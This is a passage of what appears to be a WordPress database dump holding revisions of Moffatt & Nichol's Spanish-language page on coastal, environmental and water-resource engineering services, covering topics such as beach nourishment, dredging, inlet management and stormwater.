src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/beach_nourishment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">recuperación de playas</h1>\r\nDada la naturaleza dinámica de la costa, muchas de las riberas del mundo experimentan cambios impresionantes que pueden hacer necesaria cierta intervención para preservar las oportunidades recreacionales o para proteger la infraestructura existente. Durante décadas, Moffatt & Nichol ha completado con éxito proyectos de recuperación de playas para muchos clientes públicos y privados que comprenden desde el gobierno federal (playas en centros urbanos importantes) hasta corporaciones individuales (playas aisladas en centros turísticos). En apoyo de esos proyectos, Moffatt & Nichol ha proporcionado planeamiento, gestión de autorizaciones, participación de la comunidad, modelación y análisis de la ribera, desarrollo del presupuesto del litoral, análisis de daños y beneficios de tormentas, determinación y evaluación de fuentes de arena y alternativas de dragado, ingeniería, diseño, preparación de documentación de construcción y servicios de licitación y construcción.\r\n\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/intel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">gestión de bocas de entrada</h1>\r\n Las bocas de entrada están entre los elementos más importantes de los sistemas costeros. Físicamente, son primordiales para el funcionamiento de los procesos del litoral y por lo tanto determinan el comportamiento de la ribera mediante el control de dichos procesos en su región. Por ejemplo, permiten el intercambio de agua, sedimento y nutrientes entre las bahías y los océanos y juegan un papel muy importante en los procesos de evolución de las islas de barrera, además de tener un gran impacto en la estabilidad de las riberas adyacentes y en la propagación de la marejada ciclónica en bahías interiores. Además, proporcionan acceso de navegación importante, y con frecuencia irreemplazable, entre esas bahías interiores resguardadas y el mar abierto. \r\n \r\nLa correcta gestión de las bocas de entrada requiere una profunda comprensión y amplia evaluación de la dinámica de la entrada y la ribera. Moffatt & Nichol ha perfeccionado las habilidades y herramientas que utiliza para analizar dichas dinámicas y otros problemas relevantes mediante el análisis y la evaluación de algunas de las bocas de entrada costeras más importantes y dinámicas de Norteamérica. Esta experiencia incluye:\r\n<ul>\r\n<li>Análisis de estabilidad (bocas de entrada individuales y múltiples)</li>\r\n<li>Abertura de la isla de barrera y nuevo desarrollo de bocas de entrada</li>\r\n<li>Evolución del bajío de marea baja y de inundación</li>\r\n<li>Presupuestos de sedimentos</li>\r\n<li>Modelación detallada de olas, hidrodinámica, transporte de sedimentos y morfológico</li>\r\n<li>Estimaciones de asomeramiento de canales</li>\r\n<li>Estructuras de estabilización</li>\r\n<li>Sistemas de derivación mecánicos</li>\r\n<li>Análisis de navegación</li>\r\n<li>Optimización de canales de bocas de entrada (disposición y dimensiones)</li>\r\n<li>Evaluación de impactos de bocas de entrada en la hidrodinámica de la bahía y la calidad del agua</li>\r\n</ul>\r\n&nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/dragged-material.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"7\">gestión de material dragado y su reutilización beneficiosa</h1>\r\nHistóricamente, el material dragado era considerado como “escombros” para desechar mientras que el material dragado más recientemente ha sido reconocido como un recurso valioso para la creación de humedales, recuperación de playas y otros proyectos similares. Con nuestra especialización en ingeniería costera, Moffatt & Nichol ha trabajado continuamente desde su fundación en planes y proyectos de gestión de materiales dragados, incluyendo muchos relacionados con la reutilización beneficiosa de dicho material. Particularmente, Moffatt & Nichol tiene un extenso y exitoso historial de experiencia con proyectos de dragado para el Cuerpo de Ingenieros del Ejército de EE.UU., varias autoridades portuarias y gobiernos internacionales. Los proyectos típicos incluyen el dragado y la colocación de materiales en altiplanicies, riberas, áreas cercanas a la costa y costa afuera, realizados por diferentes razones, que incluyen la profundización de atracaderos, cuencas y canales de navegación, el dragado de emergencia o mantenimiento, la creación o restauración de hábitats/tierras/puertos, otras aplicaciones beneficiosas y la reactivación de antiguos lugares de colocación.\r\n\r\nMuchos de nuestros proyectos de dragado han implicado la modelación numérica de alta gama hidrodinámica y de destino del sedimento (uni-, bi- y tridimensional) e incluyeron la gestión de autorizaciones, estrategias de gestión de largo plazo, planes de gestión de materiales dragados o la documentación de la construcción. También tenemos la capacidad de proporcionar estimaciones de la cantidad “basadas en el riesgo” y opiniones de costos probables en casos en los que el diseño del proyecto utiliza un criterio de riesgo aceptable para el diseño. Hemos completado el dragado para proyectos que varían desde cantidades tan pequeñas como 5.000 yardas cúbicas, hasta la creación de áreas sin edificar adyacentes a puertos que implicaban 26 millones de yardas cúbicas (el proyecto más grande de creación de terreno en los Estados Unidos.)\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-transportion.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"8\">vulnerabilidad del sistema de transporte costero </h1>\r\nA medida que la densidad demográfica continúa aumentando cerca de nuestras costas y se construye infraestructura para apoyar ese aumento, la vulnerabilidad de dicha población e infraestructura al daño de tormentas costeras, así como a un daño más gradual debido a cambios de largo plazo, se ha convertido en un foco de atención mientras los gobiernos intentan presupuestar los gastos iniciales y de mantenimiento. Como la historia demuestra, estos aumentos en la población y la infraestructura han llevado a aumentos correspondientes en los presupuestos, lo que puede ser agravado por su asignación a áreas más vulnerables. Para colaborar con el manejo de estos gastos, Moffatt & Nichol proporciona una gama completa de servicios de planeamiento e ingeniería costeros decisivos para determinar correctamente la vulnerabilidad y para formular los criterios de diseño apropiados que afectan al desarrollo. Por ejemplo, la determinación de la vulnerabilidad de posibles instalaciones de transporte costeras puede afectar la selección de rutas o ubicaciones más rentables. \r\n \r\nLas especialidades de Moffatt & Nichol relacionadas con la determinación de la vulnerabilidad incluyen la modelación hidrodinámica, el análisis retrospectivo del oleaje y el análisis estadístico para determinar los criterios de diseño para la elevación de la marejada ciclónica, la elevación de la altura de la ola y la dirección y magnitudes de la corriente. Estas determinaciones proporcionan la base para los análisis morfológicos costeros, los análisis de socavación, los análisis de colisión de buques y la gestión de aguas pluviales que afectan la localización y el diseño de caminos y puentes costeros.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/hydraulic.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"9\">estructuras hidráulicas</h1>\r\nA través de la historia, el hombre ha tratado de controlar, o al menos influir, en las corrientes y los ríos para evitar inundaciones o para mejorar el suministro y la calidad del agua, la navegación, la agricultura y el suministro de energía. Moffatt & Nichol es experto en el planeamiento y diseño de estructuras hidráulicas utilizadas para modificar corrientes y ríos, al mismo tiempo que protege la vida, la propiedad y el medioambiente. Esta experiencia incluye diques fluviales, vertederos, muros de protección contra inundaciones, presas, estructuras hidráulicas de control de flujo, esclusas, compuertas de marea, desvíos de flujo, sifones invertidos, reservorios, lagunas de retención, salidas, desembocaduras, alcantarillas y una variedad de canales naturales y artificiales.</a>\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel-structures.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"10\">estructuras costeras </h1>\r\nEn cuanto a otros aspectos en el área de especialización de la ingeniería costera, Moffatt & Nichol ha participado por mucho tiempo en el planeamiento y diseño de estructuras costeras: rompeolas, malecones, diques marítimos, espigones, escolleras, muros de retención, etc., para proteger/estabilizar/controlar secciones de líneas costeras, bocas de entrada, puertos y definir las interfaces tierra/agua. Hemos planeado, analizado y diseñado estructuras costeras en todos los ambientes de frentes costeros:\r\n<ul>\r\n<li>desde líneas costeras abiertas con agua profundas y exposición a tsunamis hasta bahías protegidas con aguas poco profundas y consideraciones acerca de seiches y la sobreelevación del nivel del mar por oleaje. </li>\r\n<li>desde el Ártico, donde el hielo puede determinar los parámetros de diseño, hasta el Ecuador, donde la corrosión puede, y </li>\r\n<li>desde suelos débiles que proporcionan poco apoyo al lecho de roca expuesto</li>\r\n</ul>\r\nEsta amplitud de experiencia y conocimientos sobre estructuras costeras ha sido reconocida al habernos elegido para completar los manuales de diseño de estructuras de frentes costeros para la Marina de EE.UU. y el Cuerpo de Ingenieros del Ejército de EE.UU.\r\n\r\nYa sea que se diseñen directamente o que se proporcione información a otras disciplinas para su diseño, el diseño de estructuras costeras se apoya en los resultados de varios análisis costeros en los que somos expertos, es decir, análisis estadísticos (viento, olas, corrientes, marejadas ciclónicas), modelación numérica y física incluyendo cambios morfológicos costeros, o la determinación de carga hidrodinámica. Por ejemplo, nuestros ingenieros costeros determinan regularmente las cargas hidrodinámicas para que nuestros ingenieros estructurales de frentes costeros las utilicen como una de las cargas dinámicas que serán consideradas durante el diseño de la estructura. Estamos muy familiarizados con los problemas, muchos de ellos únicos, pertinentes al diseño y la construcción de estructuras de zonas costeras, incluyendo el análisis de riesgo, la selección de materiales, la factibilidad de construcción del sistema estructural y las implicaciones de costos de cada uno. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Ports/modeling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"11\">navegación/amarre/atraque de buques</h1>\r\nA medida que las demandas comerciales y recreacionales aumentan, el tamaño y la cantidad de buques que utilizan puertos y vías navegables en el mundo aumentan, lo que puede llevar a diversos problemas y conflictos de navegación. Desde nuestra fundación en 1945 por parte de ingenieros especializados en puertos, Moffatt & Nichol ha participado en proyectos de planeamiento y diseño de navegación formulados para aliviar dichos problemas y conflictos de navegación. Por consiguiente, hemos realizado estudios de navegación en todo el mundo para una larga lista de clientes, usualmente organismos gubernamentales, pero también para compañías privadas (como empresas de energía, de defensa, fabricantes o expedidores). Además de los estudios de navegación, periódicamente realizamos estudios de amarre y atraque de buques. Estos estudios utilizan modelos numéricos avanzados que examinan las maniobras y el movimiento de buques tanto durante su tránsito como mientras está atracado.\r\n  \r\n<strong>Navegación de buques.</strong> Los estudios de navegación de buques generalmente evalúan las características existentes y propuestas de la vía navegable para las condiciones sin proyecto y con proyecto mediante el análisis de parámetros tales como la utilización/operación del buque, las prácticas de navegación y la gestión de la vía navegable. Moffatt & Nichol tiene gran experiencia en proporcionar tales estudios, incluyendo aspectos tales como los análisis/impactos económicos, análisis/impactos del transporte, características de funcionamiento e hidrodinámica del movimiento del buque y la evaluación cualitativa y cuantitativa de los riesgos, lo que implica el análisis estadístico para las alternativas consideradas. Esta experiencia incluye simulaciones de puente en escritorio y en misión completa de las maniobras del buque en vías navegables, puertos y carriles de navegación para una gama completa de condiciones potenciales de viento, olas y corrientes.\r\n\r\n<strong>Amarre/Atraque.</strong> Moffatt & Nichol utiliza una variedad de modelos de computadora para análisis estáticos y dinámicos de los buques amarrados a estructuras de frentes costeros y amarres costa afuera (de un punto y de múltiples puntos). Los modelos se utilizan para evaluar las operaciones de buques/carga de contenedores, movimientos del buque, cargas de amarre, requisitos de defensas y condiciones medioambientales limitantes (por ejemplo, el tiempo de inactividad asociado con las inclemencias del tiempo, los criterios de evacuación para tormentas severas, la necesidad de ayuda de un remolcador o la necesidad de protección del atraque).\r\n\r\nUsando los resultados de dichos estudios, Moffatt & Nichol ha seguido desarrollando las alternativas seleccionadas mediante el proceso de diseño y construcción. Los proyectos típicos han incluido canales de navegación/cuencas de retorno, dragado, ayudas de navegación, instalaciones de amarres, operaciones de lanchaje, control de ríos, sistemas de defensas y mejoras de la estructura del frente costero.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n    <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/water-resourses.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"12\">recursos hídricos</h1>\r\nCon los cambios de población y las demandas de infraestructura correspondientes, la gestión de la divisoria de aguas se ha convertido en un problema importante en muchos lugares donde anteriormente la población era indiferente, mientras que en otros, con una mayor conciencia de la sostenibilidad, se ha convertido en la preocupación principal que afecta al desarrollo. Para tratar estas preocupaciones, Moffatt & Nichol ha preparado estudios de recursos hídricos que han examinado en detalle y cuidadosamente las divisorias de aguas y las alternativas para manejar este activo en beneficio de la comunidad. Para estos estudios, Moffatt & Nichol ha suministrado el planeamiento, modelación, análisis, soluciones alternativas, participación ciudadana, gestión de autorizaciones, ingeniería, diseño, documentación de la construcción y servicios de licitación y construcción para que los proyectos mejoren o solucionen los problemas de gestión de agua para tareas que comprenden desde iniciativas de grandes divisorias de aguas o problemas de drenaje de subdivisiones hasta el impacto de las escorrentías sobre propietarios individuales.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/storm-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"13\">gestión de aguas pluviales</h1>\r\nLa gestión de aguas pluviales como un medio para reducir las inundaciones o el impacto sobre la calidad del agua causado por las escorrentías se ha convertido en un área de creciente interés de parte de la ciudadanía y de los organismos gubernamentales a medida que aumenta su conciencia de estos agresores del medioambiente. Con esta creciente atención, se ha desarrollado el interés en un tratamiento y una gestión más pequeños y proactivos de las aguas pluviales, cerca de la fuente de la escorrentía, en comparación con el tratamiento de la escorrentía más cerca de su destino. Moffatt & Nichol ha realizado proyectos de aguas pluviales que implicaban solicitudes de subvenciones, planeamiento/restauración de la divisoria de aguas, análisis de llanuras inundables, modelación hidrológica/hidráulica integrada, apoyo para gestión de autorizaciones, mejores prácticas de gestión de aguas pluviales, estructuras hidráulicas, sistemas de bombeo, mitigación de impactos, integración GIS/GPS, coordinación de diferentes organismos y participación ciudadana.\r\n      \r\nHemos completado estos proyectos en una amplia gama de escenarios hidrológicos y topográficos: montañas, colinas y valles costeros, pero proporcionamos excepcionales capacidades para tratar dichos proyectos en valles costeros. En regiones costeras, los problemas de gestión de aguas pluviales son especialmente complejos porque el bajo relieve en topografía y las altas capas freáticas limitan la colocación y con frecuencia afectan el rendimiento de las mejores prácticas de gestión de aguas pluviales convencionales. Como resultado de nuestro enfoque en la región costera, Moffatt & Nichol está muy familiarizado con prácticas menos convencionales, casi atípicas, que funcionan bajo estas complejas condiciones. Como parte de esta familiaridad y de nuestra utilización de modelos numéricos complejos en el ambiente costero, Moffatt & Nichol también proporciona experiencia profesional especializada en la evaluación de problemas de aguas pluviales costeras, que incluyen el uso de modelos de agua superficial/agua subterránea combinadas para analizar su flujo y captación.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/air-sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"14\">análisis de aire, sedimentos y calidad del agua</h1>\r\nPara ayudar a nuestros clientes a responder a los pedidos de los diferentes organismos reguladores que controlan la gestión de autorizaciones de proyectos de frentes costeros y zonas costeras, Moffatt & Nichol ha utilizado modelos numéricos existentes y ha desarrollado un modelo computacional basado en actividades para estimar los efectos de posibles proyectos sobre los sedimentos, el agua o la calidad del aire en la cercanía de dichos proyectos. Estos modelos también se utilizan para desarrollar y examinar alternativas de tratamiento de los sedimentos, del agua o de la calidad del aire durante la construcción del proyecto y posteriormente durante la operación.\r\n  \r\nPara la gestión de sedimentos, Moffatt & Nichol utiliza modelos numéricos muy sofisticados a fin de estudiar el incremento, la erosión y el dragado del sedimento. Modelos similares de las prácticas actuales se utilizan para analizar la calidad del agua de las masas de agua de ríos, estuarios y costas. Por ejemplo, Moffatt & Nichol ha realizado varios proyectos que requerían el retiro, la colocación y el aislamiento de sedimentos contaminados para evitar su reintroducción al medioambiente y los riesgos ecológicos potenciales asociados con dicha reintroducción. Estos proyectos generalmente usan instalaciones de contención que aíslan los sedimentos tratados químicamente en áreas de colocación en altiplanicies, cerca de la costa, costa afuera o en el subsuelo; Moffatt & Nichol ha modelado dichas instalaciones en todas las etapas de su realización.\r\n\r\nComo parte de la obtención de las autorizaciones para proyectos dentro de áreas de emisión de aire delicadas, Moffatt & Nichol ha desarrollado un modelo computacional basado en actividades que cuantifica las emisiones de aire e integra los factores de emisión de aire aceptados por la Agencia para la Protección del Medioambiente (EPA, por sus siglas en inglés) con modelos de planeamiento operativo desarrollados por Moffatt & Nichol. Este modelo se ha utilizado para modelar aspectos de la emisión en proyectos de desarrollo portuario en áreas muy urbanizadas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/vesel-new.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"15\">estudios de maniobras y tráfico de buques</h1>\r\nMoffatt & Nichol tiene una avanzada capacidad para proporcionar simulaciones numéricas de los movimientos de buques, de las operaciones portuarias y de sistemas similares usando un sofisticado modelo numérico llamado Lenguaje de Simulación para Modelación Alternativa (SLAM, por sus siglas en inglés).  Este modelo también incluye un módulo de gráficos que proporciona una visualización animada en pantalla de los resultados.  Pueden hacerse análisis del tráfico de buques en puertos, vías navegables y puertos deportivos para examinar las capacidades de flujo o para determinar el impacto de los cambios en las operaciones o la utilización de un puerto.  Moffatt & Nichol ha desarrollado un modelo avanzado de tráfico de buques que se ha aplicado con éxito en varios proyectos de diferentes campos, desde el tráfico de naves comerciales en puerto hasta operaciones de tráfico de botes en puertos deportivos.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n      <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/watershed.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"17\">restauración de la divisoria de aguas</h1>\r\n Han ocurrido impactos negativos sobre la calidad del agua y el hábitat acuático en los ríos, corrientes, lagos, estuarios y humedales de Estados Unidos a causa de varios efectos a lo largo del tiempo. La restauración de la divisoria de aguas busca devolver algunos de estos ecosistemas a condiciones aproximadamente iguales a las que tenía previas a las alteraciones. Esto requiere la implementación integral de diversas soluciones o proyectos para los cuales Moffatt & Nichol puede proporcionar una gama completa de servicios de planeamiento, modelación numérica, diseño de ingeniería y construcción, necesarios para que dichos proyectos tengan éxito.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n\r\n','Servicios de recursos costeros, medioambientales e hídricos','','inherit','open','open','','526-revision-7','','','2013-01-09 05:24:34','2013-01-09 05:24:34','',526,'http://moffattnichol.com/spanish/526-revision-7/',0,'revision','',0),(2773,1,'2013-01-14 05:51:13','2013-01-14 05:51:13','<div class=\"content_faq\">\r\n  <h3>servicios de recursos costeros, medioambientales e hídricos</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/coastel1.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">modelación numérica de procesos fluviales, estuarinos y costeros</h1>\r\nDado el énfasis en preservar o mejorar el medioambiente, uno de los aspectos más críticos que afectan la aprobación reglamentaria de los nuevos proyectos es la evaluación de su impacto en el medioambiente existente. La participación de Moffatt & Nichol en estas evaluaciones de impacto usualmente requiere nuestras capacidades para analizar procesos fluviales, estuarinos y costeros a través del uso de modelos numéricos avanzados para estudiar los efectos con y sin el proyecto sobre la hidrodinámica (nivel del agua, olas, corrientes, inundaciones), transporte de sedimentos, erosión y deposición y calidad del agua. Tenemos un gran conocimiento de los procesos físicos activos en estas ubicaciones, adquirido mediante la realización de centenares de proyectos afectados, y con la ayuda de investigaciones y simulaciones de modelos numéricos. Moffatt & Nichol ha completado centenares de estudios de modelación, usando varias plataformas de modelación comerciales y de dominio público, en todo el mundo; esto incluye haber realizado análisis de la mayor parte de los principales estuarios y bahías costeras a lo largo de la costas oriental, del golfo y occidental de los Estados Unidos. Muchos de estos estudios de modelación han sido objeto de una rigurosa revisión y aceptación por las partes interesadas relacionadas con los proyectos, incluyendo la comunidad medioambiental y reguladora, como parte del proceso de revisión medioambiental.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/sendiment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">transporte de sedimentos</h1>\r\nEl análisis del transporte de sedimentos de Moffatt & Nichol examina los cambios en el equilibrio de un medioambiente costero que resulta típicamente de acontecimientos naturales (por ejemplo, tormentas) o artificiales (por ejemplo, dragados) que vuelven a colocar el sedimento. Estos análisis son utilizados para predecir los resultados de un acontecimiento o los impactos potenciales de un proyecto mediante el examen de la evolución física del área después de dicho acontecimiento. Los mecanismos físicos examinados incluyen la erosión o deposición como resultado de corrientes existentes o cambios a las corrientes, olas, mareas o a los parámetros del agua (como la densidad, temperatura o composición).\r\n\r\nPara examinar el transporte de sedimentos, la erosión y la deposición, Moffatt & Nichol utiliza métodos analíticos eficientes y comprobados, desarrollados en forma interna, así como sofisticados modelos numéricos comerciales y de dominio público. Moffatt & Nichol ha aplicado estos métodos extensamente en todo el mundo para proyectos de mejoras o daños de riberas y puertos, incluyendo algunos de los mayores proyectos de profundización de canales emprendidos en los Estados Unidos (como el estudio de profundización del puerto de Nueva York/Nueva Jersey).\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/ecosystem.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">restauración del ecosistema</h1>\r\nEn la relativamente nueva era de toma de conciencia del ecosistema, Moffatt & Nichol proporciona frecuentemente servicios de planeamiento, científicos y de ingeniería para proyectos que implican la conservación, mejora o restauración. A menudo, dichos proyectos son componentes de mitigación que permiten que se desarrollen proyectos más grandes que, como tales, están sujetos a mayor escrutinio debido a la participación de los organismos reguladores. Estos componentes usualmente aumentan el número de partes interesadas, incrementan la visibilidad de un proyecto y pueden necesitar una gran coordinación entre dichas partes interesadas: el público, los organismos gubernamentales y las organizaciones no gubernamentales. \r\n\r\nPara dichos proyectos, las estrategias de mejora con frecuencia implican la modificación de los parámetros del agua en el ecosistema (por ejemplo, cambiando el flujo entrante o la distribución de agua dulce o salada), proporcionando ubicaciones/regímenes mejorados para la flora y fauna y protegiendo dichas mejoras contra los cambios adversos (como la estabilización de riberas). Habiendo tratado cada uno de estos aspectos en muchos proyectos de restauración exitosa, Moffatt & Nichol ofrece su experimentado personal con una sólida trayectoria de éxito en proporcionar planeamiento, modelación numérica, gestión de autorizaciones, ingeniería, diseño, servicios de construcción, participación ciudadana y supervisión de proyectos de restauración del ecosistema.\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/regionalsend.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">gestión regional de la arena</h1>\r\nHistóricamente, los proyectos de mejora de riberas fueron planeados y diseñados caso por caso, independientemente de sus impactos potenciales en las riberas vecinas o en todo el sistema del litoral. Dichos proyectos han sido considerados más recientemente sobre una base regional, particularmente en el caso de proyectos relacionados con la colocación de arena. Como parte del planeamiento de dichos proyectos, Moffatt & Nichol ha proporcionado a organismos federales, estatales y locales servicios que han incluido la participación de las partes interesadas y de la ciudadanía, la modelación del transporte de sedimentos, análisis del cambio de la ribera y otros estudios integrales de toda la zona del litoral, a fin de ayudarles a manejar los sedimentos costeros como un recurso regional o para coordinar esfuerzos de protección de la ribera entre comunidades costeras vecinas.\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/beach_nourishment.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">recuperación de playas</h1>\r\nDada la naturaleza dinámica de la costa, muchas de las riberas del mundo experimentan cambios impresionantes que pueden hacer necesaria cierta intervención para preservar las oportunidades recreacionales o para proteger la infraestructura existente. Durante décadas, Moffatt & Nichol ha completado con éxito proyectos de recuperación de playas para muchos clientes públicos y privados que comprenden desde el gobierno federal (playas en centros urbanos importantes) hasta corporaciones individuales (playas aisladas en centros turísticos). En apoyo de esos proyectos, Moffatt & Nichol ha proporcionado planeamiento, gestión de autorizaciones, participación de la comunidad, modelación y análisis de la ribera, desarrollo del presupuesto del litoral, análisis de daños y beneficios de tormentas, determinación y evaluación de fuentes de arena y alternativas de dragado, ingeniería, diseño, preparación de documentación de construcción y servicios de licitación y construcción.\r\n\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/Coastel/intel.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">gestión de bocas de entrada</h1>\r\n Las bocas de entrada están entre los elementos más importantes de los sistemas costeros. Físicamente, son primordiales para el funcionamiento de los procesos del litoral y por lo tanto determinan el comportamiento de la ribera mediante el control de dichos procesos en su región. Por ejemplo, permiten el intercambio de agua, sedimento y nutrientes entre las bahías y los océanos y juegan un papel muy importante en los procesos de evolución de las islas de barrera, además de tener un gran impacto en la estabilidad de las riberas adyacentes y en la propagación de la marejada ciclónica en bahías interiores. Además, proporcionan acceso de navegación importante, y con frecuencia irreemplazable, entre esas bahías interiores resguardadas y el mar abierto. \r\n \r\nLa correcta gestión de las bocas de entrada requiere una profunda comprensión y amplia evaluación de la dinámica de la entrada y la ribera. Moffatt & Nichol ha perfeccionado las habilidades y herramientas que utiliza para analizar dichas dinámicas y otros problemas relevantes mediante el análisis y la evaluación de algunas de las bocas de entrada 